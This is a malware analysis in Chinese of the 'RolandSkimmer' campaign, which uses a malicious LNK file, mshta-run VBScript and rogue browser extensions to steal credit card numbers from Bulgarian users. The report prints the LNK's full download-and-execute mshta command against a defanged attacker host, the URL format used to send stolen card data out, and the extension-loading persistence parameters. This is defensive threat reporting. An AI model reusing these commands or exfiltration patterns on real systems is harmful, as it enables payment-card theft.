- 受影響平台:Microsoft Windows
- 影響使用者:Microsoft Windows
- 影響範圍:蒐集受害者的敏感資訊
- 嚴重程度:高
網頁型信用卡側錄攻擊仍然是一個廣泛而持久的威脅,以其適應力和隨時間演變的能力而聞名。FortiGuard Labs 近期觀察到一個名為「RolandSkimmer」的精密攻擊行動,其名稱來自於惡意負載中的字串「Rol@and4You」。攻擊者以保加利亞地區用戶為目標,透過 Chrome、Edge 與 Firefox 瀏覽器惡意擴充功能進行信用卡號竊取攻擊。
這項攻擊是通過欺騙性的LNK檔發起,該檔案部署混淆腳本以建立持久和隱蔽的感染。一旦入侵系統,惡意程式便會系統性地蒐集並回傳受害者的金融資料。
圖 1: 遙測資料
初始感染途徑
攻擊者首先會散布惡意的壓縮檔「faktura_3716804.zip」,經過解壓縮後,受害者會得到一個看似無害的捷徑檔案「faktura_1065170.lnk」。
圖2: LNK檔案
捷徑檔案內包含以下命令:
C:\WiNDOws\SYsTEM32\MShTA.exe vbscript:execute("SeT mi1=CReATeobjECt(\"msxmL2.SErverXMlHTtp.6.0\"):mi1.OpEN \"geT\",\"Hxxp://iNVsetmX[.]cOM/ipa.AsPX\",faLSe:mi1.SEnD():rANdOMize:R=INt(rnD*99999):ExECute(REpLAce(mI1.REsponSEtEXt,\"#\", R)):")(wiNDoW.ClosE)
目標頁面「ipa.AsPX」隨後會導向遠端網址「hxxp://invsetmx[.]com/n.jpg」。雖然副檔名為 .jpg,但該檔案實際上內嵌混淆的VBS腳本。此腳本會啟動持續性的網路連線,並以「-@-」作為命令分隔符持續查找攻擊者伺服器回應。一旦接收到指令,腳本會解碼其中的十六進位資料,並執行相應的惡意行為。
圖 3: 混淆的VBS腳本
下圖顯示兩種網路流量:伺服器的正常回應與帶有編碼腳本的回應。
圖4: 無內嵌腳本
圖5: 主機回應中帶有編碼腳本
攻擊流程
VBS腳本經由HTTP回應中傳送後,將直接由原始線程執行,而無需將任何檔寫入磁碟。我們從伺服器 invsetmx[.]com 取得了攻擊者的腳本,其所有負載皆以.dll為副檔名,以下分析將詳細介紹解碼腳本所執行的一連串活動。
圖6: 伺服器上的惡意腳本
首先,它會檢查受害系統中是否存在特定路徑下的 Adobe、Firefox、Roaming 及 Chrome 資料夾。
圖7: 檢查資料夾
圖8: 檢查Firefox/Roaming/Chrome
接著進一步執行系統偵查,蒐集硬體規格、記憶體容量與作業系統版本。這些情報可協助攻擊者避免浪費資源在虛擬機或沙箱環境中。
圖9: 收集系統資訊
為了針對不同瀏覽器擴充功能,攻擊者從「fzhivka-001-site1.btempurl.com」下載額外檔案,內容包括擴充功能設定與惡意腳本。這些檔案依瀏覽器類型分類:Chrome對應2ch1.rar至2ch3.rar,Edge對應2eg1.rar至2eg3.rar。所有檔案皆使用XOR密鑰「Andromeda」進行編碼。
攻擊Edge瀏覽器的流程如下:解碼後的資料會儲存至「%APPDATA%..\Local\s2ch97」路徑中,該資料夾包含惡意擴充功能的關鍵檔案:「manifest.json」、「background.js」與「background2.js」,這些檔案負責主要設定與活動執行。
圖10: 針對Chrome和Edge的檔案
攻擊者利用惡意瀏覽器擴充功能作為其感染鏈、持久性機制和竊取資料過程中的關鍵元件。設定檔案中將擴充功能命名為「Disable Content Security Policy」,看似用來繞過CSP(內容安全政策),藉由混淆命名掩蓋其惡意行為。manifest.json檔案則是用於進行多項高權限設定:
- declarativeNetRequest:可攔截與修改網頁請求。
- browsingData:允許刪除瀏覽資料(含 cookie、快取、瀏覽紀錄)。
- tabs:控制瀏覽器分頁(含開啟、關閉、監控)。
- storage:能儲存與提取使用者裝置中資料
這些權限組合顯示該擴充功能旨在完全控制受害者的瀏覽器,將其變成監控與竊取的攻擊工具。
圖11: manifest.json
background.js的功能包括使用唯一標識符跟蹤受害者和執行惡意代碼。首先根據當前時間戳(包括日期、小時、分鐘、秒)創建一個名為key2的值,例如21.3.25-164532eg2,接著從「kuka」取得加密負載,為了執行該程式碼,它注入了一個刻意拼寫錯誤的HTML標籤<imaage>,而不是有效的<img>或<image>。這種有意的拼寫錯誤導致加載錯誤,觸發了onerror事件處理程式並執行background2.js 中定義的腳本。
圖12: background.js
background2.js是擴充功能的重要元件,透過混淆變數yori1和yori2取得遠端主機位址「hxxps://exmkleo[.]com」,建立連線並下載惡意腳本,將內容儲存在 localStorage的「kuka」欄位。
圖13: background2.js
從「hxxps://exmkleo[.]com」下載的惡意腳本旨在監控使用者的互動行為,特別針對表單提交、瀏覽活動以及信用卡資料進行監視。這個竊取工具會監控 DOM 元素中包含敏感付款資訊的輸入欄位,例如信用卡號碼。它明確鎖定標準的信用卡編號格式,例如以數字 4 開頭的 Visa 卡,以及以數字 5 開頭的 MasterCard。
圖14: 檢查輸入表單的資料格式
當偵測到可能的信用卡卡號後,該腳本會主動綁定到提交表單和按鈕事件,在提交之前攔截資料。透過隱藏的<a>送出,並在其中加入「Rol@and4You」以標記與驗證所竊取的內容。腳本利用HTTPS與遠端主機連線後傳送格式如下(S:網站, D:資料, and N:信用卡卡號):
hxxps://bg3dsec[.]com/<randomized str>?S=<useridentifier>-<site>&D=<captured form data>?&N=<credit card number>
圖 15: 回傳竊取的資料
攻擊者在設置永久執行時,採取了一種較為隱秘的方式。他們並未直接修改Edge 瀏覽器的執行檔,而是選擇將合法的msedge.exe複製到另一個資料夾中(%APPDATA%\Edge SxS),並建立帶有下列參數的LNK檔案:
load-extension=”%LOCALAPPDATA%\s2ch97”
mark-non-secure-as=disabled.
接著移除桌面與工作列上的原始瀏覽器的捷徑檔案,換上包含上述參數的惡意LNK。這種捷徑檔案可以在執行瀏覽器時直接帶起放在“s2ch97”資料夾中的擴充功能相關檔案,讓使用者無意間開啟已遭植入的瀏覽器。
圖16: 設置永久執行
在針對Firefox的攻擊中,攻擊者則是使用從as1.rar至as6.rar的檔案。
圖 17: 針對Firefox的檔案
這些解碼後的檔案包含了Firefox擴充套件和惡意腳本。每個檔案都有其特定功能,用於完整的設定並強制安裝惡意腳本。
- as1.rar:描述了兩個Firefox的擴充套件:Greasemonkey和Tampermonkey。這兩個項目允許使用者運行小型JavaScript腳本。
as2.rar:儲存使用者已安裝擴充套件的壓縮檔案。
- as3.rar:包含內建和使用者安裝的擴充套件,並附帶版本、類型、權限以及檔案路徑等細節。Firefox 在啟動期間使用此檔案來載入並管理擴充套件。
- as4.rar:包含瀏覽器相關偏好設定。
- as5.rar:擴充套件tampermonkey.xpi(版本 4.7.5788)。
- as6.rar:包含了將匯入Tampermonkey(使用者腳本管理器)的惡意腳本。一旦安裝,攻擊者將能竊取表單資料、登入資訊和信用卡卡號。解碼後的伺服器參數「kok1」對應到 hxxps://exmkleo[.]com,接著從該網址下載了一個類似於Edge攻擊過程中所使用的腳本程式。
透過結合這些檔案,攻擊者擬出一個完整有效的Firefox使用者資料,包含預先安裝的Tampermonkey。將這些檔案複製到受害者的環境中後,將能夠確保 Firefox 啟動的同時會加載惡意腳本。
完成所有瀏覽器設定後,腳本會終止mshta.exe。
經過調查原始捷徑檔案所在的遠端伺服器,我們發現多筆記錄檔,內容以十六進位編碼來記錄受害者的感染過程:
- “mz out, roaming in, ch in”:表示環境內無安裝 Firefox,但偵測到 Roaming資料夾與Chrome
- “eg found...desk lnk ok”:確認Edge存在且捷徑檔案已經成功放置在桌面
這顯示出RolandSkimmer能夠有效地偵測環境條件並動態調整感染流程。
圖18: 受害者記錄檔
結論
「RolandSkimmer」突顯了基於LNK檔案的威脅日益複雜,攻擊者如何利用合法的系統工具和腳本能力來實現隱蔽性。使用惡意瀏覽器擴充功能作為其攻擊鏈的核心元件,進而持續竊取受害者的重要資料,利用精心設計的 JavaScript 腳本、manifest檔案,以及混淆的腳本來規避檢測。
為降低此類威脅的風險,使用者應避免開啟未知的捷徑檔案,尤其是透過郵件或不可信來源所傳遞的檔案。組織則應限制或監控未經驗證的瀏覽器擴充功能的使用,並且檢測異常腳本的執行。